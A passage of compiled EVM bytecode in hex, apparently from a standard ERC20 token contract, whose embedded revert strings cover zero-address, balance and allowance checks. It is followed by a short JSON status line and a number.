0000000000000000000000000000000000815260040161060e90610deb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067e90610d6b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107659190610e2b565b60405180910390a3505050565b600061077e8484610518565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107f857818110156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190610d8b565b60405180910390fd5b6107f784848484036105a7565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561086e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086590610dcb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d590610d4b565b60405180910390fd5b6108e9838383610a7f565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096690610dab565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a029190610e7d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a669190610e2b565b60405180910390a3610a79848484610a84565b50505050565b505050565b505050565b600081359050610a9881611204565b92915050565b600081359050610aad8161121b565b92915050565b600060208284031215610ac957610ac8610feb565b5b6000610ad784828501610a89565b91505092915050565b60008060408385031215610af757610af6610feb565b5b6000610b0585828601610a89565b9250506020610b1685828601610a89565b9150509250929050565b600080600060608486031215610b3957610b38610feb565b5b6000610b4786828701610a89565b9350506020610b5886828701610a89565b9250506040610b6986828701610a9e565b9150509250925092565b60008060408385031215610b8a57610b89610feb565b5b6000610b9885828601610a89565b9250506020610ba985828601610a9e565b9150509250929050565b610bbc81610ee5565b82525050565b6000610bcd82610e61565b610bd78185610e6c565b9350610be7818560208601610f28565b610bf081610ff0565b840191505092915050565b6000610c08602383610e6c565b9150610c1382611001565b604082019050919050565b6000610c2b602283610e6c565b9150610c3682611050565b604082019050919050565b6000610c4e601d83610e6c565b9150610c598261109f565b602082019050919050565b6000610c71602683610e6c565b9150610c7c826110c8565b604082019050919050565b6000610c94602583610e6c565b9150610c9f82611117565b604082019050919050565b6000610cb7602483610e6c565b9150610cc282611166565b604082019050919050565b6000610cda602583610e6c565b9150610ce5826111b5565b604082019050919050565b610cf981610f11565b82525050565b610d0881610f1b565b82525050565b6000602082019050610d236000830184610bb3565b92915050565b60006020820190508181036000830152610d438184610bc2565b905092915050565b60006020820190508181036000830152610d6481610bfb565b9050919050565b60006020820190508181036000830152610d8481610c1e565b9050919050565b60006020820190508181036000830152610da481610c41565b9050919050565b60006020820190508181036000830152610dc481610c64565b9050919050565b60006020820190508181036000830152610de481610c87565b9050919050565b60006020820190508181036000830152610e0481610caa565b9050919050565b60006020820190508181036000830152610e2481610ccd565b9050919050565b6000602082019050610e406000830184610cf0565b92915050565b6000602082019050610e5b6000830184610cff565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610e8882610f11565b9150610e9383610f11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ec857610ec7610f8d565b5b828201905092915050565b6000610ede82610ef1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610f46578082015181840152602081019050610f2b565b83811115610f55576000848401525b50505050565b60006002820490506001821680610f7357607f821691505b60208210811415610f8757610f86610fbc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61120d81610ed3565b811461121857600080fd5b50565b61122481610f11565b811461122f57600080fd5b5056fea26469706673582212208d82efd582dc696baec7fd8171012111cf901eb6ac44b7e0b9b1e5c91422c8c964736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,299